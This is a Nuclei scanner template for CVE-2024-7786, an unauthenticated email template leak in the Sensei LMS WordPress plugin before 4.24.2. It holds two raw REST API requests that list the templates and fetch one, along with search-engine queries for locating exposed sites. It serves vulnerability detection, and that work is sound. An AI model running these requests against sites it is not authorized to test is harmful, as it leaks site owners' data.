id: CVE-2024-7786

info:
  name: Sensei LMS < 4.24.2 - Email Template Leak
  author: s4e-io
  severity: high
  description: |
    The Sensei LMS WordPress plugin before 4.24.2 does not properly protect some its REST API routes, allowing unauthenticated attackers to leak email templates.
  impact: |
    Unauthenticated attackers can access and leak email templates through unprotected REST API endpoints, potentially exposing sensitive information included in email communications and template configurations.
  remediation: |
    Update Sensei LMS plugin to version 4.24.2 or later to address the REST API protection issue.
  reference:
    - https://wpscan.com/vulnerability/f44e6f8f-3ef2-45c9-ae9c-9403305a548a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7786
    - https://www.usom.gov.tr/bildirim/tr-24-1387
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-7786
    epss-score: 0.70476
    epss-percentile: 0.98708
  metadata:
    max-request: 2
    verified: true
    vendor: automattic
    product: sensei-lms
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sensei-lms"
    fofa-query: body="/wp-content/plugins/sensei-lms"
  tags: cve,cve2024,wpscan,wp,wp-plugin,wordpress,sensei-lms,exposure,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php/wp-json/wp/v2/sensei_email/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"id","date_gmt","slug")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: template_id
        json:
          - '.[0].id'
        internal: true

  - raw:
      - |
        GET /index.php/wp-json/wp/v2/sensei_email/{{template_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_email_preview_id={{template_id}}'
          - 'media?parent={{template_id}}'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
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